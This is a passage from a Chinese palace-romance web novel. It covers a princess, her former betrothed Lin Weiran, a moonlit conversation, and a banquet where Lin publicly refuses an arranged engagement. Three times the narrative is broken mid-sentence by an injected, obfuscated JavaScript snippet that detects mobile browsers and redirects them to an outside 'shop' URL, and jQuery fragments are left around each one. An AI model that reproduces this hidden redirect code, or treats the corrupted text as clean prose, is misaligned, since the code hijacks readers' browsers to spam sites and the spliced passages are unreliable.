如果能促成姐姐和林太傅,姐姐是不是就不会再想走了? 而离开御书房的林魏然被魏内侍领着准备离宫。但很快他便发觉,魏内侍领他走的这条路与皇城东南西北四个门都不相通,反而更通往——栖暖殿。 “公公这是做什么?”林魏然停下脚步,微微眯了眯眼,缓声问道。 魏内侍还在前面走着,连头也没回一下,只是笑道:“林太傅息怒,这是陛下给咱家的命令。” 林魏然彻底沉了脸色,转身就想离开——他年少时也在东宫做太子伴读,皇城的路也认得不少。 但魏内侍却像是背后长了眼睛,转身几步便拦住了路,微胖的脸上挂着微笑:“林太傅,奴婢也只是按陛下吩咐办事,还请太傅不要为难奴婢。” 幽暗的夜色中,两人在太极宫的长廊上对峙,片刻之后,却是一阵轻快的女声打破沉寂—— “就这吧,这儿视野开阔,等云散了就能看到月亮了。” 是幼荷的声音。 还有另一阵轻微的脚步声,伴着主人懒洋洋的声音:“怎么非要今夜出来赏月?况且这天色,能不能看到还不一定呢。” 皇城之中处处有人清扫,就是席地而坐也不脏。 幼荷不知从哪搬来一张小木桌,拉着杨灵允到长廊边下,席地而坐,小桌上还放了两屉吃食和一壶酒。 “钦天监都说了,今夜肯定能看到月亮。”幼荷兴致勃勃,“况且这儿开阔啊,成日呆在屋子里,人都要呆发霉了呢。” 杨灵允其实对赏月这种事没什么兴趣,但她也不愿泼幼荷冷水,便也顺势坐下来,倚着长廊底下的木墩,倒有了几分幼时的感觉。 长廊边上,林魏然整个站在暗处,阴影笼罩了他的面孔,神色幽暗莫测。 魏内侍悄无声息地走远了些,仍旧挡在林魏然离宫的那条路上。 随着一阵温热的夏风划过,暗淡的天穹果然破开一道银光。弦月自厚重的云层中缓缓出现,一瞬间,仿佛连天地之间都变得明亮了些。 幼荷转头看了眼杨灵允,有些兴奋:“我就说吧,今夜肯定能看见月亮。” 杨灵允正半阖着眼,闻言掀起眼皮看了眼,也笑:“挺好看的。” 她看起来心情不错。幼荷眨了眨眼,忍不了太久,早已准备好的问题在这和谐轻松的氛围下便脱口而出:“你和林魏然到底怎么回事啊?” 流动的风仿佛都在这一刻停止。 站在长廊上的阴影处的林魏然垂下了眼,长睫遮住了他的眼睛。而长廊下倚着木墩的杨灵允却掀了眼皮,似笑非笑地看幼荷:“你今夜拉住我出来,说是赏月,其实是为了这个吧?” ……杨灵允上扬的凤眼在幼荷眼底突然幻化成小皇帝沉静的面孔——“若姐姐问起,便实话实说罢。你瞒不过姐姐。” 澄亮的月色之下,幼荷轻轻点头了:“陛下和我都有些担心你。” “不是什么要紧事,”杨灵允又收回眼神,阖上眼皮,月色落在她薄薄的眼皮上,打着她眼下淡淡的乌青,“陛下多虑了。” 幼荷见杨灵允始终什么都不肯说,过了好一会才深深地叹口气,“杨灵允,你真的很嘴硬你知道吗?” 这是她第二次这样连名带姓地喊她,上一次,还是她持剑找上门来,问她幼莲在哪? 杨灵允挑眉转头看了她一眼,似乎觉得这件事很有意思,“你怎么了,今夜对我的事这么好奇?” 幼荷英气的五官都皱成一团,没好气道:“我是怕你什么都忍在心里,迟早生出病来。” 杨灵允神色忽然有了片刻僵硬,耳边声音飘飘荡荡,眼前树影摇摇晃晃,她的意识仿佛也坠入无边黑暗。 其实她当初并不是这样的。她以前向来藏不住话,更藏不住心思。 是从什么时候开始,她已经变成连自己都陌生的模样了? ……“宣和,有事就跟哥哥说。” 哦,想起来了,大概就是四年前,母后自戕、哥哥被废之后吧。杨灵允无意识地伸手摩挲着跟前食盒上熟悉的纹路,良久,才从深深地吐出一口气。 “我只是,有些害怕了。”杨灵允转头看幼荷,唇色不知何时变得苍白,凤眼都少了些凌厉,声音轻不可闻,却声声砸在在场之人心中,“我想要的从未得到过,我在乎的人最后都死了。我不想最终跟他也走到这种地步。” 幼荷一愣,下一刻便抬手替她整了整被夜风吹散的黑发,轻声道:“可现在不是从前了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639079|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不会跟他走到穷途末路之境。” 杨灵允冲着幼荷很淡地笑了下,“这种事,谁能说得准呢?他也到了婚嫁之年,娶个好姑娘,与她举案齐眉琴瑟和谐,一辈子仕途坦荡,这才是属于他的路。我和他的路,终究是不一样的。” 说话间,她已经起身,拿起小桌上的一屉吃食,抬眼看了看明亮的月色,又对幼荷笑了下:“谢谢你今晚带我出来赏月。我很高兴。” 她说着,拎着那盒食盒抬脚离开。 幼荷眼神落在她手上拎着的那个纹样精美的食盒上,动了动喉咙,忽然抬高了声音问道:“你当真舍得?” 杨灵允背对着她,脚步片刻僵住。 幼荷将这些尽收眼底,又问了一遍:“看着他娶别的姑娘,你当真舍得?” 杨灵允在原地站了许久。直到月色变得暗淡,温热的夏风裹着淡淡的桂花味再次袭来,她倏然收紧了自己握着食盒的手指,声音听上去却仍旧平静无波—— “人生之中还有很多重要的事,人不是靠感情活的。” “况且,他也已经动了成亲的念头不是吗?我舍不舍得重要吗?” 杨灵允很快就离开了长廊这处,幼荷过了很久,才缓缓起身,看向幽暗的长廊,“你要成亲了?” 林魏然自暗处走出来,忽然好像明白了杨灵允忽变的态度到底是因为什么。 “我答应陛下替你问这个问题,可没想到会是这个答案。”幼荷脸色不善地看着林魏然。 杨灵允离开后,长廊附近不知被谁点起了一盏宫灯。此时灯火照着林魏然的面孔上,明明暗暗间,他脸上是一种幼荷看不懂的神色。 仿佛心疼,仿佛妥协,仿佛知道了什么,也决定了要做什么。 “幼荷姑娘,陛下让你问这个问题,不是因为我,是为了将宣和留在宫中,”他缓缓阖上眼,声音中掺杂着自嘲之意,“宣和真正想要什么,其实我们心知肚明,只是装聋作哑罢了。” 幼荷皱了皱眉,她实在搞不懂这些人弯弯绕绕的心思,但她只想问明白一点:“你到底是不是想成亲了?” “我想。”林魏然承认了,幼荷脸色骤变,拔剑上前就想打他。 林魏然抬手接住了她的剑,血从他的指缝间滴滴答答落下,淡淡的腥气很快蔓延开来。 “明日我会跟宣和解释清楚。”他眼神深重,似乎压着什么剧烈的情绪。 幼荷怔在原地,握剑的手也松了几分。 林魏然收回了手,拿帕子随意擦了下渗血的掌心,便抬脚离开。 这一次,魏内侍没有阻拦他。 而当他与幼荷都离开后,长廊的更深处,小皇帝才慢慢走出来。 他穿着一身玄色的衣袍,墨色衬得他五官凌厉,晃眼间竟与杨灵允有六七分相似。 只是他眉眼间有几分脆弱和迷茫,冲淡了五官的冷色,“魏内侍,你说,朕是不是太自私了?” 魏内侍连忙跪下:“陛下乃天下之主,全天下的东西都是陛下的,何谈自私之说?” 小皇帝垂眼看他,宫人随着他的步伐已点亮了整道长廊上的宫灯。可明亮的灯火下,他神色仍旧晦暗不清。 “是吗?”小皇帝的脸色有瞬间的变化,仿佛在那一刻下定了决心,“回去吧。” 52. 第 52 章 四月二十,是宁安侯夫人的生辰。宁安侯府正是如日中天的时候,有宁安侯这个宰相,又有林魏然这个帝师,更有百年世族林氏做依仗,上门道贺的人络绎不绝,与四年前先太子刚刚被废,整个宁安侯府被迫退出朝堂之际,简直是天壤之别。 踩低捧高,向来如此。 宁安侯府内,林魏然天未亮便回了府,刚给宁安侯夫人祝寿完,又被宁安侯拉着一起去招待宾客。 来的都是林魏然认识的,不是朝堂上携家带口的同僚,便是其他高门的公子小姐,人来了一波又一波,但始终没见杨灵允。 林魏然等得都有些心浮气躁了,抬眼看了看天色,开始担心杨灵允不会不来了吧。 宁安侯瞥他一眼,趁着空歇的时候,淡淡提醒:“有什么事都等到你娘生辰宴结束再说,别在外人面前失了分寸。” 林魏然沉默片刻,垂眼应是。 就在这时,门房又传来高昂的声音——“东南大将军郑虔携家眷前来贺寿。” 宁安侯眼底闪过细微的喜色,下一刻便拉着林魏然上前。 朱红的大门前,郑虔扶着郑夫人下马车,郑家小姐紧随其后。 宁安侯身后也聚集了不少看热闹的宾客。 可就在郑家小姐下马车抬眼看向众人的一瞬间,满堂陡然沉寂,连林魏然脸上的微笑都有片刻的僵硬—— 郑家小姐,竟与当朝长公主,颇为相似! 不过在场宾客还有不少人没资格面见长公主,因而对那些高官权臣的怔愣百思不得其解,更有甚者,拿扇子掩唇问身边人:“怎么了吗?怎么突然就不说话了?” 郑虔早已料到此事,但他一副若无其事的样子,笑眯眯地迎了上去:“林相,林夫人,这是内子傅琴,这便是小女郑昭月。” 能有资格面见长公主的也都是人精,极快地反应过来,无论心底还有多少怀疑,脸上已然恢复和乐融融的模样。 宁安侯夫人也已然恢复微笑,笑盈盈地与傅琴说着什么。 只剩郑昭月和林魏然两人四目相对,林魏然眼瞳一晃,回神执手问了声好,便唤来一个族妹,让她带着郑昭月去熟悉熟悉。 郑昭月笑了下,她五官与杨灵允是如出一辙的美艳,只是眉宇间更多了不少英气,显得整个人利落潇洒,“多谢林公子,林姑娘了。” 一边的宁安侯见状,微微皱了皱眉,刚想去跟林魏然提醒几句,门房那边便传来更加高昂,甚至有些诚惶诚恐的声音—— “长公主到——” 里面的宾客神色微重,连忙地弯腰行礼,“参见公主殿下——” 杨灵允带着幼荷缓缓而来,日光照耀下,她的面孔清晰可见。 有胆大好奇的小心翼翼地抬眼看了下,便惊得连忙垂眸,又下意识看了看不远处的郑昭月。 而郑昭月也悄悄抬眼看了看排场极大的杨灵允,眼底忍不住闪过一丝艳羡。 “诸位不必多礼,”杨灵允笑着抬抬手,“今日是宁安侯夫人生辰,陛下特意嘱咐本宫要将礼物送至宁安侯府。” 这种荣光,便是在先帝朝时,宁安侯最受圣眷之际也不曾有过。陛下此举到底是为了谁,众人心知肚明,不由便心生羡慕——宁安侯府,当真是有个好继承人啊。 “我今日也只是个来祝寿的宾客,今日的中心可是宁安侯夫人,”杨灵允又笑了笑,开了个玩笑,“我可不想喧宾夺主呐。” 宁安侯刚想让宁安侯夫人亲自去领着杨灵允进宴会厅,却被林魏然抢先一步—— “臣领公主殿下入座吧。” 等林魏然带着杨灵允这尊大佛走了,在场的气氛才再次松快下来。 有人已经按捺不住好奇去问郑虔了:“郑将军,您瞧见没,令爱与长公主的样貌简直是……” 没等那人把话说完,郑虔就笑眯眯地解释道:“我夫人也出身傅氏,况且这天底下相似之人多了去了,不足为谈,不足为谈。” 他这解释勉强能堵住旁人的疑问,但却堵不住旁人的议论——毕竟郑昭月与杨灵允几乎是前后脚到达,此等相似的样貌,若是换了衣裳,怕是连王正安那等常见长公主之人,都会将这二人搞混。 在这巨大的冲击之下,杨灵允竟由林魏然领着入座一事便也没那么多人在意了。 可在喧嚣的议论声中,宁安侯却十分在意这件事。他看着林魏然领着杨灵允消失的背影,脸上滑过几分暗色,与身边的宁安侯夫人对视一眼,两人眼底浮出相同的忧色。 下一刻,宁安侯夫人便再次找上了傅琴,而宁安侯也去找了郑虔。 另一边,林魏然正领着杨灵允往正堂的宴会走去。 宁安侯府极大,过去曾是一座亲王府邸,三步一景,五步一画,处处皆是风光——这是先帝曾赐予宁安侯的。 如今宾客也来得差不多了,满园走几步便能遇见人,不过在院子里的人大多都是年轻的公子小姐,不曾入仕,更不认识杨灵允。 所以见林魏然领着个陌生姑娘,纷纷投来好奇的目光,有跟林魏然相熟的,还上前暗暗打探着这是哪家高门贵族的小姐,竟从未见过。 杨灵允全程都懒得说话,只等林魏然一一将人打发了,一路无言地来到宴会厅。 林魏然犹豫很久要不要在路上就跟杨灵允说清楚,但在不断反复斟酌间两人已经沉默无言地来了宴会厅。 等宴会结束吧,他想。毕竟这是母亲的生辰宴。 —— 彼时,林魏然的族妹林则悦带着郑昭月来到年轻姑娘聚集说笑玩乐的院子。 院子内的一位郡主看见郑昭月,忽然眼睛陡亮,赶忙迎了上来:“皇姐,你也来了啊?” 林则悦连忙解释:“郡主,这是郑虔将军之女,郑昭月郑姑娘。” 郡主一愣,又扫过郑昭月的衣裳首饰,眼神倏然变了,撇撇嘴道:“哦,是本郡主一时眼花。不过也是,皇姐怎么可能穿这种衣裳,。” 郑昭月抿着唇角,下意识地拉了拉衣袖。 林则悦拉过她轻声解释:“那位是清安郡主,她父王是先帝的亲弟弟,不过早没实权,就只剩个名头。别跟她一般见识,我带你去我们那边。” 郑昭月对她感激地笑了笑:“多谢林姑娘。” 林则悦摆摆手,“小事一桩。长安城中向来如此。不过郑将军深受皇恩,郑姑娘也不必太担心。” 郑昭月眨了眨眼,嘴角弯起一抹更温和的笑:“如果林姑娘不嫌弃,唤我昭月便是。” 林则悦挑眉,很快也笑了起来,“那你唤我则悦便好。说起来,你我名字中都有悦,说明你我有缘啊。走吧,我叔父家的院子可好看了,若不是叔母生辰,我们也没这个眼福呢。” 郑昭月眼底闪过一丝异样的光,继而便笑着揽住了林则悦的手臂。 林则悦带着郑昭月去了与自己交好的世家小姐那边,而清安郡主和围在她身边的几个小姐妹在院子的另一边高声说笑。 其中有一人问道:“清安郡主,长公主殿下当真有无数华贵衣裳,首饰戴都戴不过来吗?” “那是自然,”清安郡主微昂着头,神气道,“我跟你们说,我前些日子才入宫,瞧见我皇姐那有一盒的花丝点翠钗,钗子上嵌的明珠个个饱满圆润,听说都是东海那边的渔民用命才能开出来的呢,一颗价值万金!” 围着她的人脸上纷纷露出艳羡之色。 清安郡主愈发骄傲,继续道:“还有皇姐的衣裳,都是绣坊最好的绣女做的,用的都是蜀锦,绣女日夜做的。我听说前些日子皇姐才命蜀地织造局做一批陵样公样的蜀锦送到长安呢。” 有人疑问:“可现下不是上贡的时候吧?” 清安郡主瞥她一眼,像是在嘲笑她的无知:“你懂什么?只要皇姐想要,蜀地织造局的人就算是累死也得把皇姐想要的东西送来长安。” 她没有压低声音,反而特意抬高了声音,就是为了吸引旁人艳羡的目光。但那高高在上的语气,也惹得周围有些微微皱眉,轻声议论着。 不过她身边的小姐妹却露出羡慕的眼神—— “真好啊。” 旁边有一人实在忍不住了,似笑非笑地伸头问道:“你如何知晓,莫不是长公主告诉你的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659340|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 清安郡主顿了片刻,才别过头,遮住脸上一闪而过的不自然:“我常常进宫,跟皇姐关系可好了。” 说话的姑娘挑眉起身走近了些,声音也高了不少:“这就奇怪了,我来长安前也没听父亲说长公主要蜀锦啊?” 清安郡主见状,梗着脖子冷声反问:“你又是谁,皇家之事,岂是你这种人能知晓?” 那姑娘忽然扑哧笑出来声,摇了摇手中扇子,说话时带上了几分蜀地口音:“巧了,我名唤许默,蜀地织造局总管许述,正是我爹。” “你!”炫耀的话被拆穿,清安郡主身边姑娘的脸色已经变得微妙,但清安郡主神色只僵了片刻,便摆着一副趾高气昂,冷声道:“区区一个五品官之女,竟敢在本郡主面前大放厥词,以下犯上!来人,给我拉下去!” 园子内的气氛一时僵住,清安郡主身边的两个随从上前就想把许默摁下来。 只是手还没碰到许默,一个利落的身影就挡在了许默前面。林魏然不知何时进了院子,脸上还挂着微笑,声音也温和,“郡主息怒,此乃宁安侯府,郡主的威风,还是留到清安郡吧。” 他就这么微笑着当众下了清安郡主的面子。 清安郡主的脸色瞬间青白相交。但她敢对着许默摆郡主的架子,却不敢对林魏然如此——毕竟她来长安前,父王耳提面命地警告她,不要得罪长公主,更不要得罪那个林魏然! 随从被拦住,她在原地孤立无援,又瞥见周围人异样的目光,愤懑地一咬牙,最终愤愤地甩袖离开。 没有一个人上前追她。 “清安郡主刚刚入京,言辞夸张,诸位小姐莫往心里去,”林魏然冲着院子中的姑娘们执手笑道,“私下议论长公主殿下,传出去也不好听,就当此事未曾发生,可好?” 在场的诸位自然纷纷应是,毕竟谁也不想因为一时的口角之快给家中招惹麻烦。 林魏然笑了笑,“诸位自便,在下便不打扰了。” 他来得快走得也快,仿佛是来给许默解围的。 等林魏然走后,世家那边的好几个姑娘一下围到许默身边,打探道:“许小姐与林公子相熟吗?” 许默也是一头雾水:“我才来长安,你们不说,我都不知道他是林魏然啊?” 其中有个姓王的姑娘淡淡道:“清安郡主在宁安侯府大放厥词。若是被长公主知道了怪罪下来,宁安侯府也得受牵连,林魏然当然得出来制止。” 她说得有道理。世家小姐们接受了这个解释,又互相挽着手不动声色地远离许默,再次回到世家圈子中。 转瞬之间,又是泾渭分明——寒门出身的官员之女在一处,世家出身的姑娘们在另一处。 世家那边的有个姑娘往许默那投了一眼,撇撇嘴道:“不过她一个五品小官之女,能得林公子解围,也是三生有幸了。” 先前说话的王姓姑娘再次嗤笑一声:“怎么,你还想着嫁给林魏然?” 那姑娘瞪回去,冷了声音:“王蕴玉你什么意思?” 王蕴玉耸耸肩,懒洋洋道:“没什么意思,只是你的算盘怕是要落空了。林魏然马上就要有婚约了。” 此话一出,不少姑娘变了脸色,围上来问王蕴玉是不是知道什么。 毕竟在世家出身的公子中,林魏然是独一份的,年纪轻轻一表人,手握实权才又性情温和。 纵使这些贵女知道自己的婚事得由家族做主,但也忍不住地动心。 林则悦和郑昭月在这边也看完了整场热闹。 郑昭月有些好奇:“为何清安郡主对林公子如此忌惮啊?” 林则悦眼神闪了闪,才道:“听说当年清安郡主的父王被贬出京,就是堂兄一手策划的。” 郑昭月眼底闪过一丝微不可察的笑意,又问道:“看来林公子颇有手段啊。” 大约是郑昭月有一种平易近人的气场,短短一段时间的相处,林则悦已然将郑昭月当成知心好友,又道:“昭月,你可得多留心些啊。” 郑昭月笑了下:“嗯。” “好了,快开席了,我们回去吧。” 53. 第 53 章 宁安侯府的宴会厅极大,分了两厅,有官身的坐一厅,未入仕未成家的年轻公子小姐坐另一厅。 悠扬的丝竹之音不绝于耳,仆从鱼贯而入,给每桌客人呈上精美的吃食,又悄无声息地退出去。 席间人多,自然少不了谈话说笑、推杯换盏。人声糅杂着丝竹之音细细密密地落了一地。 杨灵允也忍不住抬眼看这热闹。 只是她一抬眼,就感觉到对面的目光正牢牢地落在自己身上——是林魏然。 她是最尊贵的客人,宁安侯府自然会将她安排在宴会厅中面东的最好位置。而林魏然是宁安侯府的独子,又是主人,主位由宁安侯和宁安侯夫人坐了,他自然就坐在主位之下面西的第一个。 在轻歌曼舞、人声鼎沸的宴会厅间,两人的眼神穿过宴会厅内穿梭的人,穿过空气中弥漫的香气和纷杂的人声乐声,四目相对的那一刻,杨灵允忽然感觉一股难言的悸动自心底炸开,顺着脊柱一路往上,连意识都变得恍惚了几分。 她看见林魏然黑亮的眼睛,面庞上的笑意,仿佛先前在杏园中的一切都不曾发生。 他们还是一样,毫无隔阂。 但很快,两人之间的对视便被穿梭的人群打断了——有人来给林魏然敬酒了。 来人背对着杨灵允,看不见正脸,不过大约是个武将,把林魏然的身形挡住了不少。 杨灵允缓慢地垂下了眼,拿起桌上的酒一口灌下。 等酒液入喉,激起一阵酥麻的刺激,勉强压下了那股不明不白的情绪时,她才扫过厅上神色各异的朝臣——有些她认得,有些她不认得。 但他们都不约而同地没有来打搅她。 原本杨灵允很满意他们的识趣,但此时却情愿有人来打搅她——只要能让她别再想些有的没的。 比如,自己到底为什么会来宁安侯府? 但事实往往与念想背道而驰。她只能任由自己清醒却难以抗拒地沉坠,任由那股不明不白的悸动愈发嚣张大胆地作祟。 节节败退间,她唯一能做的就是灌醉自己。 另一边来给林魏然敬酒的竟是郑虔。 按官阶来算,林魏然比郑虔要高,但他到底年纪轻,便起身回礼笑道:“该是在下给郑将军敬酒才是。” 郑虔乐呵呵地笑着,“不必如此生分。咱们也都是一家人了。” 林魏然只当他在说一年前他带着东南军夜闯长安城平定三王之乱一事,也没多想,应付了几句就想把郑虔打发走。 毕竟郑虔是杨灵允的人,他不想杨灵允再误会他。 但郑虔似乎当真没听懂他的话里有话,甚至还坐到了他身边,颇有一番与他促膝长谈之意。 林魏然微不可察地皱了皱眉,状似无意地看向对面,却看见杨灵允的桌案前也站了一个人—— 闻九! 他陡然收紧了握着酒杯的手,力气之大险些要把酒杯捏碎。 闻九是第一个上前给杨灵允敬酒的,杨灵允没拂他的面子,将酒一饮而尽后,才问道:“你不是不爱来这些宴会吗?” 闻九笑吟吟:“平侯府与宁安侯府都是先帝所封,同出一脉,自然亲近。况且听闻长公主代陛下亲自前来给宁安侯夫人祝寿,我也想来凑这个热闹。” 杨灵允放下酒杯,似笑非笑地看他一眼:“是吗?” 闻九见她不想说这事,很识趣地换了个话题:“我发现宁安侯派人去调查了郑虔。公主,今日这生辰宴未必太平。” “知道了,”杨灵允摆摆手,“我心里有数。” 她说着,忽然像是想到什么,又抬眼看了闻九,懒洋洋地问道:“闻九,你见过郑将军的家眷吗?” 闻九垂眼轻声道:“不曾,郑将军的家眷……有何不妥吗?” “没有,”杨灵允又收回眼神,摆手淡淡道,“没什么,我累了。” “臣送公主回宫?”闻九忽然上前一步,伸手想扶起杨灵允。他在京中的名声也不好,平侯府又只有他一人当家作主,自然行事无所顾忌。 杨灵允挑眉看了他一眼,扬手挥开了他:“不必,你做好该做的事就是。” 这段简短的插曲就此结束,若不是有心注意着杨灵允,甚至可能都不会发现闻九曾来过。 但林魏然却不甘地咬了咬牙,郑虔还在他耳边喋喋不休着什么,他已经一个字都听不进去了。 他满心都是闻九到底跟杨灵允讲了什么,杨灵允不会真的不要他,反而要闻九那个名声狼藉的狗东西吧? 想到这里,他已然坐不住,起身就想去杨灵允那座。只是他刚刚起身,郑虔也随之起身,“世侄脸色怎么突然变得这般难看?可是世叔我说错了什么话?” 其实郑虔是相当满意林魏然的,官职高家世好,又与长公主不是同一派系,定能护他的昭月周全。 林魏然狠狠阖了阖眼,才勉强压下心底的躁动不安,对郑虔扯出点笑:“林某身体不适,还望郑将军见谅。” 话说到这个份上,郑虔自然不可能还不明白他的意思,只是……林魏然年纪轻轻就身体不适,不会有什么隐疾吧? 想到这里,郑虔又不免忧虑地看了他一眼。 而与此同时,宁安侯也派人过来请郑虔上座一叙,郑虔也只好咽下嘴边的话离开了。 林魏然在原地,脚抬了又放,放了又抬,最终他一咬牙,刚想过去找杨灵允时,就听到最中央的主位那边传来声音。 是宁安侯和宁安侯夫人,身边还站着郑虔和他的夫人傅琴。 林魏然眉心一跳,忽然觉得有好像有大事发生。 下一刻,当在场宾客的视线都集中在主位时,宁安侯夫人笑吟吟地开了口,先感谢了一通陛下与长公主殿下的恩德,又感谢了诸位前来,最后—— 她拍了拍身边傅琴的手,笑道:“我宁安侯府还有件喜事要与诸位同乐。” 说着,宁安侯与郑虔旋即举杯笑道:“今日,我宁安侯府与郑家定个亲,特请诸位做个见证。” 此话一出,满堂喝彩。 交好的同僚纷纷上前恭贺宁安侯与郑虔,跟林魏然交好的六部同僚也上前笑道:“恭喜啊林尚书,居然把婚事藏得这么严实呐?” 只有王清安混在人群中,看见了被簇拥在人群的林魏然的脸色,心下忽然开始打鼓——林尚书不会要做什么大逆不道的事吧?长公主还在这呢。 侍女也已经将郑昭月领了过来,站在郑虔与傅琴身边,垂着眉眼似乎羞涩。 宁安侯夫人笑着冲不远处的林魏然挥挥手:“容时,还愣着干嘛?快过来呀。” 林魏然脸色难看得已经连个笑都挤不出来了,他在宁安侯夫人宣布此事之时便看向杨灵允那边,但杨灵允始终垂着眉眼,神色不明。 直到众人上前祝贺之时,她也没抬过头。 林魏然狠狠捏紧了手心,直到痛感将自己的理智唤回几分,才扬手拨开自己身边的人,在众人恭贺、羡慕、期待的目光中,他才缓慢地从喉咙中挤出沙哑的声音,一字一字道—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665837|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不会,成亲。” 他声音不大,却字字清晰,在场宾客都不是聋子,自然听得清楚,脸色变得微妙。 不过脸色最难看的还属上位的郑虔和宁安侯。 宁安侯夫人咽了咽喉咙,勉强撑着点笑意,“容时,说什么呢?大家都在呢,你这孩子,知道你一心扑在公事上,不过成家立业成家立业,总得先成家了再立业呀。” 说话间她环顾了一圈在场宾客,显然是在向他们解释。 这其实算是个好理由了——如果林魏然没有继续拆台的话。 就在众人慢慢褪去那种试探、看好戏的神色时,林魏然再次抬脚走近,走到了主位之下,面对的宁安侯、宁安侯夫人、郑虔、傅琴,还有郑昭月。 郑昭月那张五官分明的秾丽面孔在灯光下简直与杨灵允如出一辙。但林魏然却觉得她跟杨灵允一点也不像了。 杨灵允眉眼更冷淡,看人总带着些惫懒的厌倦。而郑昭月眉眼间更多了些活泼生动,垂眸含羞的模样也更生动——她更像是八年前的杨灵允。 林魏然站定后下意识地回头看了眼杨灵允所在的位置。在众人纷纷起身或恭贺或看好戏的时候,唯有她还坐在原位,垂眼把玩着手上的东西,神色看不清。 “我不会成亲,”林魏然环顾着众人,缓慢又清晰地重复了一遍,“我已经有心上人了,郑将军,这桩婚事,请恕在下不恭。” 这回再多的理由也不管用了,宾客们看着这一出闹剧,开始议论纷纷。 郑虔脸色也不好看,转头质问宁安侯:“林相,你们这是什么意思?” 宁安侯摆摆手安抚了一下郑虔,阴着脸看向林魏然:“婚姻大事自古都是父母之言媒妁之命,哪轮得到你说话!” 林魏然视若无睹,只向郑虔那边执手行了个礼,缓声道:“郑将军,令爱值得一个真心爱护她的郎君,而非在下。” 郑虔被他说得一时无言,下意识转头看了眼身边的女儿。郑昭月垂着眉眼,仿佛一切都听他的。 他抬眼看了眼杨灵允那个方向,又极快地收回眼神,烦躁地搓了搓脸,“很好,这就是你们宁安侯府的待客之道,本将军今日算是见识到了。昭月,我们走!” 他也是要面子的,林魏然当面拒婚,就算他把责任都揽到自己身上,他郑家今日也是面上无光,定会成为整个长安的话柄。 宁安侯显然也是这样想的——要是今日真让林魏然拒婚拒成了,他还有何面子?更有甚至,万一有心人开始议论林魏然口中那所谓的心上人,继而将八年前那场未成的赐婚再翻出来…… 整个宁安侯府都要面上无光。 想到这里,他连忙拉住郑虔,难得低声赔笑:“郑将军稍安勿躁,这婚姻大事向来都是我们做父母的给定下,哪轮得到他插话。我宁安侯府聘礼早已备下,今日,咱们就将这聘礼下了,如何?” 他说着便用眼神示意身边小厮赶紧去把聘礼抬过来。 声音不小,林魏然听得清楚,在场宾客也听得清楚。 林魏然的脸色变得铁青,宾客中的王清安心底越发打鼓,就在他想着要不要上去劝劝林尚书别把话说绝了的时候,身后一人忽然拍了拍他的肩膀。 王清安回头,脸色微变,连忙低头问好:“祖父。” 王正安,这个历经三朝的老臣,王氏的掌权人,满脸凝重,低声道:“去,把宁安侯府的管家找来,先让大家伙都散了。” 他显然也是担心林魏然会说出什么大逆不道不可挽回的话。 54. 第 54 章 彼时,整个厅内都弥漫着一股微妙的氛围,议论声不大,却密密麻麻,纷乱复杂。 死死地缠住了主座那边的六人。 郑虔被宁安侯拉停了脚步,也站在原地,等着看宁安侯要怎么做。宁安侯夫人则上前拍着郑昭月的手,笑盈盈地安抚着什么,只是笑容中多了几分勉强的意味。 唯有林魏然夹在宾客和主座之间,进退维谷。 他合了合眼,嵌进掌心的指尖松了些,清俊的面孔上多了些深重的无奈,还掺着些隐忍,“这是母亲的生辰宴。我不想说什么难听话。” 宁安侯三步并作两步走下主座,压低了嗓音咬牙道:“你也知道这是你娘的生辰宴,还闹什么事?赶紧上来给郑将军赔罪。” “我说了我不会成亲,”林魏然转头看他,眼神幽黑暗沉,“别逼我。” 宁安侯冷笑一声,一扬手,仆从们便动作麻利地将早已准备好的聘礼抬了过来,就放在宴会厅的门边,数个红木大箱,浩浩荡荡地放了两列。 然后他对着宾客扬声笑道:“误会一场,都是误会一场。今日诸位做个见证,这些聘礼,都是我宁安侯府为犬子求娶郑小姐的诚意。” 旁的先不论,这浩浩荡荡的聘礼显然是给足了郑家面子,足以压下林魏然先前的所有言语。 郑虔脸色稍微松快了些。 宾客们的眼神和议论也渐渐缓和。 林魏然回头看了眼,数十聘礼,红得晃眼,和憧憧人影齐齐倒映在眼底,仿佛是一出绝好的戏剧,而他作为戏剧的主角,就该按照上面写的,按照所有人的期望,一丝不苟地演下去,直到死。 可凭什么?这是他的人生,他努力了这么久,努力地爬得这么高,凭什么还不能决定自己的婚事? 再看向主座时林魏然神色平静,眼眸幽黑,薄唇扯成一条平直的线——若王清安在此,就知道这是真正的大事不妙了。 